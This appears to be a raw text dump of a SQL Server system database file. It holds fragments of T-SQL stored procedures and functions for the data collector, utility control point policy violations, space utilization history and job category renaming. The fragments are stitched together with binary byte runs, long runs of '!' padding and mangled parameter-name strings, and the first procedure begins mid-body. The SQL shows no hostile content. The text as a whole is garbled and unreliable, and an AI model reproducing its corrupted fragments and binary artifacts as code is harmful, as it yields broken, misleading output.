    DECLARE @retVal int
    EXEC @retVal = dbo.sp_syscollector_verify_collector_type @collector_type_uid OUTPUT, @name OUTPUT
    IF (@retVal <> 0)
        RETURN (1)
    
    DECLARE @old_parameter_schema       xml
    DECLARE @old_parameter_formatter    xml
    DECLARE @old_collection_package_id  uniqueidentifier
    DECLARE @old_upload_package_id      uniqueidentifier

    SELECT  @old_parameter_schema = parameter_schema,
            @old_parameter_formatter = parameter_formatter,
            @old_collection_package_id = collection_package_id,
            @old_upload_package_id = upload_package_id
    FROM [dbo].[syscollector_collector_types]
    WHERE name = @name
    AND collector_type_uid = @collector_type_uid

    IF (@collection_package_id IS NULL)
    BEGIN
        SET @collection_package_id = @old_collection_package_id
    END
    ELSE IF (NOT EXISTS(SELECT * from sysssispackages
                        WHERE @collection_package_id = id))
    BEGIN
        DECLARE @collection_package_id_as_char VARCHAR(36)
        SELECT @collection_package_id_as_char = CONVERT(VARCHAR(36), @collection_package_id)
        RAISERROR(14262, -1, -1, '@collection_package_id', @collection_package_id_as_char)
        RETURN (1)
    END

    IF (@upload_package_id IS NULL)
    BEGIN
        SET @upload_package_id = @old_upload_package_id
    END
    ELSE IF (NOT EXISTS(SELECT * from sysssispackages
                        WHERE @upload_package_id = id))
    BEGIN
        DECLARE @upload_package_id_as_char VARCHAR(36)
        SELECT @upload_package_id_as_char = CONVERT(VARCHAR(36), @upload_package_id)
        RAISERROR(14262, -1, -1, '@upload_package_id', @upload_package_id_as_char)
        RETURN (1)
    END

    DECLARE @collection_package_name sysname
    DECLARE @collection_package_folderid uniqueidentifier
    DECLARE @upload_package_name sysname
    DECLARE @upload_package_folderid uniqueidentifier    

    SELECT 
        @collection_package_name = name,
        @collection_package_folderid = folderid
    FROM sysssispackages
    WHERE @collection_package_id = id

    SELECT 
        @upload_package_name = name,
        @upload_package_folderid = folderid
    FROM sysssispackages
    WHERE @upload_package_id = id

    DECLARE @schema_collection sysname
    IF (@parameter_schema IS NULL)
    BEGIN
        SET @parameter_schema = @old_parameter_schema
    END
    ELSE
    BEGIN
        SELECT @schema_collection = schema_collection
        FROM [dbo].[syscollector_collector_types_internal]
        WHERE name = @name
        AND collector_type_uid = @collector_type_uid

        -- if a previous xml schema collection existed with the same name, drop it in favor of the new schema
        IF (EXISTS (SELECT * FROM sys.xml_schema_collections WHERE name = @schema_collection))
        BEGIN
            DECLARE @sql_drop_schema nvarchar(512)
            SET @sql_drop_schema = N'DROP XML SCHEMA COLLECTION ' + QUOTENAME(@schema_collection)
            EXECUTE sp_executesql @sql_drop_schema
        END

        -- recreate it with the new schema
        DECLARE @sql_create_schema nvarchar(2048)
        DECLARE @param_definition nvarchar(16)
        SET @param_definition = N'@schema xml'
        SET @sql_create_schema = N'CREATE XML SCHEMA COLLECTION ' + QUOTENAME(@schema_collection) + N' AS @schema; '
        SET @sql_create_schema = @sql_create_schema + N'GRANT EXECUTE ON XML SCHEMA COLLECTION::[dbo].' + QUOTENAME(@schema_collection) + N' TO dc_admin; ' 
        SET @sql_create_schema = @sql_create_schema + N'GRANT VIEW DEFINITION ON XML SCHEMA COLLECTION::[dbo].' + QUOTENAME(@schema_collection) + N' TO dc_admin; '
            
        EXEC sp_executesql @sql_create_schema, @param_definition, @schema = @parameter_schema
    END

    UPDATE [dbo].[syscollector_collector_types_internal]
    SET parameter_schema = @parameter_schema,
        parameter_formatter = @parameter_formatter,
        schema_collection = @schema_collection,
        collection_package_name = @collection_package_name,
        collection_package_folderid = @collection_package_folderid,
        upload_package_name = @upload_package_name,
        upload_package_folderid = @upload_package_folderid
    WHERE @collector_type_uid = collector_type_uid
    AND   @name = name

    IF (@TranCounter = 0)
        COMMIT TRANSACTION
    RETURN (0)
    END TRY
    BEGIN CATCH
        IF (@TranCounter = 0 OR XACT_STATE() = -1)
            ROLLBACK TRANSACTION
        ELSE IF (XACT_STATE() = 1)
            ROLLBACK TRANSACTION tran_update_collector_type

        DECLARE @ErrorMessage   NVARCHAR(4000);
        DECLARE @ErrorSeverity  INT;
        DECLARE @ErrorState     INT;
        DECLARE @ErrorNumber    INT;
        DECLARE @ErrorLine      INT;
        DECLARE @ErrorProcedure NVARCHAR(200);
        SELECT @ErrorLine = ERROR_LINE(),
               @ErrorSeverity = ERROR_SEVERITY(),
               @ErrorState = ERROR_STATE(),
               @ErrorNumber = ERROR_NUMBER(),
               @ErrorMessage = ERROR_MESSAGE(),
               @ErrorProcedure = ISNULL(ERROR_PROCEDURE(), '-');

        RAISERROR (14684, @ErrorSeverity, -1 , @ErrorNumber, @ErrorSeverity, @ErrorState, @ErrorProcedure, @ErrorLine, @ErrorMessage);

        RETURN (1)    
    END CATCH
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`(<8Kz3"}0' 8CREATE FUNCTION [dbo].[fn_sysutility_ucp_get_policy_violations](@policy_name SYSNAME, @target_query_expression NVARCHAR(max))
RETURNS @data TABLE 
( health_state_id BIGINT ) 
AS
BEGIN

   INSERT INTO @data
    SELECT hs.detail_id
    FROM msdb.dbo.sysutility_ucp_policy_violations hs
    INNER JOIN msdb.dbo.syspolicy_policies p ON hs.policy_id = p.policy_id
    WHERE (hs.target_query_expression_with_id LIKE +'%'+@target_query_expression+'%' ESCAPE '\'
    OR hs.target_query_expression LIKE +'%'+@target_query_expression+'%')
    AND hs.result = 0
    AND p.name = @policy_name
    
   RETURN 
END
0)( }8
CREATE FUNCTION [dbo].[fn_sysutility_get_is_instance_ucp]()
RETURNS BIT 
AS
BEGIN
   RETURN (
      SELECT 
         CASE 
            WHEN ISNULL ((SELECT CAST (current_value as sysname) FROM msdb.dbo.sysutility_ucp_configuration_internal WHERE name = 'UtilityName'), '') = ''
            THEN 0
            ELSE 1
         END)
END;
0-( x8CREATE PROCEDURE sp_update_category
  @class    VARCHAR(8),  -- JOB or ALERT or OPERATOR
  @name     sysname,
  @new_name sysname
AS
BEGIN
  DECLARE @retval         INT
  DECLARE @category_id    INT
  DECLARE @category_class INT

  SET NOCOUNT ON

  -- Remove any leading/trailing spaces from parameters
  SELECT @class    = LTRIM(RTRIM(@class))
  SELECT @name     = LTRIM(RTRIM(@name))
  SELECT @new_name = LTRIM(RTRIM(@new_name))

  --turn empy parametrs tu null parameters
  IF @name = ''  SELECT @name = NULL

  EXECUTE @retval = sp_verify_category @class,
                                       NULL,
                                       @new_name,
                                       @category_class OUTPUT,
                                       NULL
  IF (@retval <> 0)
    RETURN(1) -- Failure

  --ID @name not null check id such a category exists
  --check name - it should exist if not null
  IF @name IS NOT NULL AND
     NOT EXISTS(SELECT * FROM msdb.dbo.syscategories WHERE name = @name 
      AND category_class = @category_class)
  BEGIN
      RAISERROR(14526, -1, -1, @name, @category_class)
      RETURN(1) -- Failure
  END  

  -- Check name
  SELECT @category_id = category_id
  FROM msdb.dbo.syscategories
  WHERE (category_class = @category_class)
    AND (name = @new_name)
  IF (@category_id IS NOT NULL)
  BEGIN
    RAISERROR(14261, -1, -1, '@new_name', @new_name)
    RETURN(1) -- Failure
  END

  -- Make sure that we're not updating one of the permanent categories (id's 0 - 99)
  IF (@category_id < 100)
  BEGIN
    RAISERROR(14276, -1, -1, @name, @class)
    RETURN(1) -- Failure
  END

  -- Update the category name
  UPDATE msdb.dbo.syscategories
  SET name = @new_name
  WHERE (category_class = @category_class)
    AND (name = @name)

  RETURN(@@error) -- 0 means success
END
0c( %8((0))0b
) 8CREATE FUNCTION dbo.fn_sysutility_get_culture_invariant_conversion_style_internal (@data_type varchar(30))
RETURNS tinyint
AS 
BEGIN
   RETURN 
      CASE 
         -- ISO8601, e.g. "yyyy-mm-ddThh:mi:ss.mmm"
         WHEN @data_type IN ('datetime', 'datetimeoffset', 'smalldatetime', 'datetime2', 'date', 'time') THEN 126
         -- scientific notation, 16 digits
         WHEN @data_type IN ('real', 'float') THEN 2
         -- e.g. "0x12AB"
         WHEN @data_type IN ('binary', 'varbinary') THEN 1 
         -- all other types including bit, integer types, (n)varchar, decimal/numeric
         ELSE 0 
      END;
END;
08( 8CREATE FUNCTION [dbo].[fn_sysutility_ucp_get_file_space_utilization_history]( 
   @object_type TINYINT, 
   @virtual_server_name SYSNAME, 
   @volume_device_id SYSNAME, 
   @server_instance_name SYSNAME, 
   @database_name SYSNAME, 
   @filegroup_name SYSNAME, 
   @database_file_name SYSNAME,
   @start_time DATETIMEOFFSET(7),
   @end_time DATETIMEOFFSET(7),
   @aggregation_interval TINYINT
   )
RETURNS TABLE AS RETURN (
    SELECT	CASE WHEN ISNULL(total_space_bytes, 0) = 0 THEN 0 ELSE (used_space_bytes * 100)/total_space_bytes END AS storage_utilization_percent,
		    CONVERT(BIGINT, used_space_bytes) AS storage_utilization_in_bytes, 
		    CONVERT(BIGINT, ISNULL(total_space_bytes, 0)) AS storage_capacity_in_bytes, 
		    processing_time as sample_time
    FROM dbo.syn_sysutility_ucp_space_utilization 
    WHERE @object_type = object_type AND
          @aggregation_interval = aggregation_type AND
          (processing_time BETWEEN @start_time AND @end_time) AND
          ISNULL(@virtual_server_name, '') = virtual_server_name AND
          ISNULL(@volume_device_id, '') = volume_device_id AND
          ISNULL(@server_instance_name, '') = server_instance_name AND
          ISNULL(@database_name, '') = database_name AND
          ISNULL(@filegroup_name, '') = [filegroup_name] AND
          ISNULL(@database_file_name, '') = [dbfile_name] 
    )       
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!g`
ZlKid(^8!!!!`"m,Kk8sp9]DeployedDacServerInstanceNameDacServerInstanceName
p9AODeployedDacNameDacName
p9aDeployedDacProcessorUtilizationUtilizationThreshold
p9aDeployedDacProcessorUtilizationUtilizationThreshold
p/GeServerInstanceNameDacInstanceName
p/=[ServerNetNameDacComputerName
p3;YDatabaseNameDacDatabaseName
p/GeServerInstanceNameDacInstanceName
p/=[ServerNetNameDacComputerName
p3;YDatabaseNameDacDatabaseName
p/GkServerInstanceNameServerInstanceName
p/=WServerNetNameServerNetName
p/KsServerProcessorUsageUtilizationThreshold
p/KsServerProcessorUsageUtilizationThreshold
p/GkServerInstanceNameServerInstanceName
p/=WServerNetNameServerNetName
p/GkServerInstanceNameServerInstanceName
p/=WServerNetNameServerNetName
p3;SComputerNameComputerName
p3[ComputerProcessorUtilizationUtilizationThreshold
p3[ComputerProcessorUtilizationUtilizationThreshold
p3;SComputerNameComputerName
p/YVolumeTotalSpaceUtilizationUtilizationThreshold
p/YVolumeTotalSpaceUtilizationUtilizationThreshold
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!